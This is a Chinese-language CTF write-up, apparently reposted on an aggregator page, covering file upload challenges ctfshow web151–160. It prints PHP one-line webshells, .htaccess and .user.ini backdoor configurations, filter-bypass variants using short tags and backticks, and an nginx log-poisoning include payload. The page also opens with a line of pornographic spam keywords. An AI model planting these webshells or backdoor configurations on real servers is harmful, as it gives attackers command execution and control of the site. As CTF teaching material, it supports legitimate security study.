国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

這篇具有很好參考價(jià)值的文章主要介紹了【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

文件上傳

在上傳文件時(shí),服務(wù)端代碼沒有對(duì)客戶端上傳的文件進(jìn)行嚴(yán)格的驗(yàn)證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、aspx、php、jsp等格式的文件)

非法用戶可以利用上傳的惡意腳本控制整個(gè)網(wǎng)站,甚至控制服務(wù)器。這個(gè)惡意的腳本文件,又被稱為Webshell,也可講Webshell腳本稱作一種網(wǎng)頁后門,Webshell腳本具有非常強(qiáng)大的功能,比如查看服務(wù)器目錄、服務(wù)器中的文件,執(zhí)行系統(tǒng)命令等。

php一句話木馬:

<?php @eval($_REQUEST['cmd']);?>

一、前端校驗(yàn)

有的站點(diǎn)會(huì)出現(xiàn)僅進(jìn)行了前端校驗(yàn)的情況(一切在前端做的安全防護(hù),都是耍流氓),由于前端頁面的源碼是我們可以隨意更改的,因此可以通過找到進(jìn)行過濾的指令,更改成我們想要的功能即可。

ctfshow-web151:

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

查看上傳圖片按鈕的源碼,可以看到它僅支持png格式的文件

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

可設(shè)想兩種做法:

1、更改前端代碼,將exts后的png更改為php,也就是說使其僅能上傳php格式文件,即可完成上傳。

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

2、上傳一個(gè)png格式文件,使用burp抓取上傳數(shù)據(jù)包,在數(shù)據(jù)包內(nèi)更改文件格式與內(nèi)容。

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

此處再將png格式更改為php即可

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

成功上傳后,只需訪問木馬文件路徑,執(zhí)行所需的指令即可

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

ctfshow-web152:

使用web151方法二同樣解法

二、利用.htaccess和.user.ini上傳

這里的內(nèi)容在我之前的一篇博客中有講到

.htaccess后門

.htaccess文件(分布式配置文件),提供了針對(duì)目錄改變配置的方法,即在一個(gè)特定的文檔目錄中放置一個(gè)包含一個(gè)或多個(gè)指令的文件,以作用于此目錄及所有子目錄。

.htaccess是Apache服務(wù)器的分布式配置文件的默認(rèn)名稱,換言之是個(gè)配置文件。當(dāng)一個(gè).htaccess文件放置在一個(gè)“通過Apache Web服務(wù)器加載”的目錄中時(shí),.htaccess文件會(huì)被Apache Web服務(wù)器軟件檢測并執(zhí)行。

在一些黑名單過濾的情況下,若沒有過濾.htaccess文件,即可通過創(chuàng)建.htaccess文件,來改寫一些配置,從而達(dá)到上傳后門的目的。

# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用:將名為1.png的文件當(dāng)作php類型的文件來進(jìn)行執(zhí)行

假設(shè)接下來就可以上傳一個(gè)名為1.png的木馬文件,植入后門,將其上傳后,該文件雖文件后綴名為png,但會(huì)被當(dāng)作php類型的文件進(jìn)行解析,其中的一句話木馬也能夠被正常執(zhí)行。

# 1.png	(一句話木馬)
<?php @eval($_POST['cmd']);?>

.user.ini后門

php.ini是php的一個(gè)全局配置文件,對(duì)整個(gè)Web服務(wù)起作用,而.user.ini就是用戶自定義的一個(gè)php.ini,可以利用它來構(gòu)造后門。.user.ini利用范圍很廣,不僅限于Apache服務(wù)器,還適用于Nginx服務(wù)器。當(dāng)訪問一個(gè).php目錄時(shí),若當(dāng)前目錄下存在.user.ini文件,則會(huì)執(zhí)行該配置文件中的內(nèi)容。

使用:通過配置之前提到的auto_prepend_file或auto_append_file來自動(dòng)包含指定文件,類似于在文件前調(diào)用了include()或require()函數(shù),并且要知道,在php中,被包含的文件內(nèi)容是在<?php?>體內(nèi)部的,因此被包含的所有文件,無論是何種格式,都會(huì)被按照php文件進(jìn)行解析

# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>

因此,通過使用.user.ini,我們可以任意指定包含一個(gè)文件,這個(gè)文件可以是我們自己上傳的木馬文件,從而通過該木馬文件提供后門來獲取當(dāng)前服務(wù)器的webshell。

ctfshow-web153:

無法上傳php格式的文件,使用上述方法,上傳.user.ini再訪問./upload/index.php即可利用上傳的木馬文件

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

三、過濾關(guān)鍵字之php

當(dāng)對(duì)文件內(nèi)容里的php進(jìn)行了過濾時(shí),可以采用php短標(biāo)簽來繞過

#常規(guī)標(biāo)簽
<?php ?>
#php短標(biāo)簽
<?= >

ctfshow-web154、155:

上傳之前的一句話木馬文件,發(fā)現(xiàn)顯示不合規(guī),經(jīng)過幾次測試,發(fā)現(xiàn)過濾了關(guān)鍵字php,于是可以使用php短標(biāo)簽進(jìn)行繞過,然后再和web153一樣上傳.user.ini即可

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

四、過濾一系列符號(hào)

1、過濾“[]”

當(dāng)方括號(hào)被過濾,我們可以考慮直接執(zhí)行system函數(shù)來獲取flag

ctfshow-web156:

此時(shí)通過測試發(fā)現(xiàn),方括號(hào)被過濾,文件內(nèi)容中含有方括號(hào)無法正常上傳,那么直接使用語句

system('cat ../f*');

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

除了直接使用system以外,還可以使用{}來代替[],上傳以下一句話木馬同樣可以實(shí)現(xiàn)

<?=eval($_REQUEST{'cmd'});?>
2、過濾“;”

ctfshow-web157:

這一題在156的基礎(chǔ)上過濾了分號(hào)(??,將分號(hào)去掉同樣可以

<?= system('cat ../fl*')?>

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

ctfshow-web158:

與web157相同

3、過濾"()"

當(dāng)()被過濾,在php中,在反引號(hào)中括起來的內(nèi)容,表示執(zhí)行的是系統(tǒng)命令

例如:

system('ls')`ls`功能相同

ctfshow-web159:

在經(jīng)過測試時(shí),發(fā)現(xiàn)本題過濾了括號(hào)(),那么此時(shí)之前使用的system()與eval()都無法繼續(xù)使用了,此時(shí)就可以使用反引號(hào)來執(zhí)行系統(tǒng)目錄

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

五、日志注入

一般nginx的日志路徑默認(rèn)為

/var/log/nginx

ctfshow-web160:

此時(shí)我們可以先使用include函數(shù)包含日志來查看日志的內(nèi)容,并且發(fā)現(xiàn),關(guān)鍵字log被過濾,因此可以使用字符串的拼接,payload如下:

GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>

包含出日志文件后,查看日志內(nèi)容,發(fā)現(xiàn)access.log中記錄的是User-Agent頭內(nèi)的信息

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

此時(shí)就可以考慮將木馬語句寫入到日志內(nèi),然后使用include進(jìn)行包含執(zhí)行

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

隨后即可在讀取的日志內(nèi)容中查看源代碼進(jìn)而得到flag

本題還有另一種方法,由于使用到了include函數(shù),因此我們也可以使用filter偽協(xié)議來進(jìn)行指定文件的讀取:

【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)

隨后將得到的結(jié)果進(jìn)行base64解碼即可得到flag文章來源地址http://www.zghlxwxcb.cn/news/detail-468566.html

到了這里,關(guān)于【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 【計(jì)算機(jī)網(wǎng)絡(luò)】第五章傳輸層知識(shí)點(diǎn)及經(jīng)典例題匯總

    【計(jì)算機(jī)網(wǎng)絡(luò)】第五章傳輸層知識(shí)點(diǎn)及經(jīng)典例題匯總

    1、從通信和信息處理的角度看,傳輸層向它上面的應(yīng)用層提供通信服務(wù),它屬于面向通信部分的最高層,同時(shí)也是用戶功能中的最低層 2、此層包含TCP和UDP協(xié)議。TCP 傳送的數(shù)據(jù)單位協(xié)議是 TCP 報(bào)文段(segment),UDP 傳送的數(shù)據(jù)單位協(xié)議是 UDP 報(bào)文或用戶數(shù)據(jù)報(bào)。 3、IP數(shù)據(jù)報(bào)要經(jīng)過

    2024年02月04日
    瀏覽(26)
  • CTF-XXE(持續(xù)更新,歡迎分享更多相關(guān)知識(shí)點(diǎn)的題目)

    CTF-XXE(持續(xù)更新,歡迎分享更多相關(guān)知識(shí)點(diǎn)的題目)

    進(jìn)來看到 然后一起看 Write 進(jìn)來看到 一起看 write 反正是XXE 直接整 write 不整花里胡哨,解題在最下面 write 與博主不同,我通過下面的語句得到了三個(gè)地址,其中兩個(gè)通過c段掃描可以直接出來flag。 flag出來了,輸入平臺(tái)卻不對(duì)

    2024年02月11日
    瀏覽(45)
  • python知識(shí)點(diǎn)100篇系列(5) -根據(jù)后綴名整理文件夾

    需求來了: 平常用瀏覽器在互聯(lián)網(wǎng)下載的文件,一般都在一個(gè)“下載”文件夾內(nèi),里面的文件什么格式的都有,看著就很亂;所以看能不能給整理一下,這個(gè)活python可以干; 解決方案: 思路一、根據(jù)文件后綴名,歸類文件,相同后綴名,放到同一個(gè)文件夾下; 主要用到os模

    2023年04月09日
    瀏覽(41)
  • 視頻知識(shí)點(diǎn)(17)- flv.js 實(shí)現(xiàn)播放本地視頻文件的技巧

    目錄 問題 解決 一、啟動(dòng) HTTP 靜態(tài)服務(wù) 二、播放 URL 三、允許靜態(tài)服務(wù)跨域

    2023年04月08日
    瀏覽(21)
  • 每個(gè).NET開發(fā)都應(yīng)掌握的C#處理文件系統(tǒng)I/O知識(shí)點(diǎn)

    上篇文章講述了C#多線程知識(shí)點(diǎn),本文將介紹C#處理文件的知識(shí)點(diǎn)。在.NET開發(fā)領(lǐng)域,文件系統(tǒng)I/O是一個(gè)至關(guān)重要的主題,尤其是在處理文件、目錄和數(shù)據(jù)存儲(chǔ)方面。C#作為.NET平臺(tái)的主要編程語言,提供了豐富而強(qiáng)大的文件系統(tǒng)I/O功能,為開發(fā)人員提供了靈活的工具,使其能夠

    2024年02月05日
    瀏覽(20)
  • 輕松掌握K8S使用kubectl操作配置文件掛載ConfigMap和密鑰Secret知識(shí)點(diǎn)05

    輕松掌握K8S使用kubectl操作配置文件掛載ConfigMap和密鑰Secret知識(shí)點(diǎn)05

    1、掛載應(yīng)用配置文件配置集ConfigMap 當(dāng)有許多應(yīng)用如redis、mysql,希望將它的配置文件掛載出去,以便隨時(shí)修改,可以用ConfigMap配置集 具體用法查看使用命令行操作里的 3、ConfigMap配置集實(shí)戰(zhàn) 2、掛載應(yīng)用配置文件的敏感信息Secret Secret 對(duì)象類型用來保存敏感信息,例如使用ya

    2024年02月16日
    瀏覽(26)
  • 【字節(jié)面試】Fail-fast知識(shí)點(diǎn)相關(guān)知識(shí)點(diǎn)

    【字節(jié)面試】Fail-fast知識(shí)點(diǎn)相關(guān)知識(shí)點(diǎn)

    字節(jié)面試,問到的一個(gè)小知識(shí)點(diǎn),這里做一下總結(jié),其實(shí)小編之前有一篇文章,已經(jīng)對(duì)此有過涉及,不過這里知識(shí)專項(xiàng)針對(duì)于問題,把這個(gè)知識(shí)點(diǎn)拎出來說一下。 什么是Fail-fast機(jī)制? Hashmap是否擁有Fail-fast機(jī)制? ConcurrentModificationException異常原因和解決方法是什么? 哪些你常

    2024年01月22日
    瀏覽(52)
  • [知識(shí)點(diǎn)整理]中科院/國科大 自然語言處理nlp 期末考試知識(shí)點(diǎn)整理

    [知識(shí)點(diǎn)整理]中科院/國科大 自然語言處理nlp 期末考試知識(shí)點(diǎn)整理

    本文為2022秋網(wǎng)安學(xué)院的自然語言處理課程期末復(fù)習(xí)知識(shí)點(diǎn)整理,水平有限,整理的答案可能有錯(cuò)誤或遺漏,歡迎大家指正。 文章的第二部分內(nèi)容參考了學(xué)校學(xué)姐的文章,文章寫的很好,大家可以關(guān)注她: (133條消息) 【一起入門NLP】中科院自然語言處理期末考試*總復(fù)習(xí)*:考

    2024年02月09日
    瀏覽(35)
  • 柔性數(shù)組知識(shí)點(diǎn)

    什么是柔性數(shù)組?柔性數(shù)組其實(shí)也是動(dòng)態(tài)內(nèi)存管理部分的內(nèi)容。這節(jié)主要來復(fù)習(xí)柔性數(shù)組的知識(shí)點(diǎn)。? 當(dāng)結(jié)構(gòu)體的最后一個(gè)成員為數(shù)組, 且這個(gè)數(shù)組的大小未確定時(shí), 我們就稱它是柔性數(shù)組。 如: struct stu { ? ? ? ? char name[20]; ? ? ? ? int age; ? ? ? ? char adress[]; } 這里的

    2024年02月22日
    瀏覽(25)
  • SpringMVC相關(guān)知識(shí)點(diǎn)

    傳統(tǒng)開發(fā)中的控制層: 接收請求參數(shù) request.getParameter 封裝實(shí)體 new 實(shí)體類調(diào)用其set方法 訪問業(yè)務(wù)層 接收訪問結(jié)果 指派頁面 通過request和response對(duì)象進(jìn)行頁面跳轉(zhuǎn) 將共有行為進(jìn)行抽取成DispatcherServlet【SpringMVC內(nèi)部集成】,通過Spring-MVC.xml配置文件去配置。 Spring: 獲取請求參數(shù)

    2024年02月16日
    瀏覽(18)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包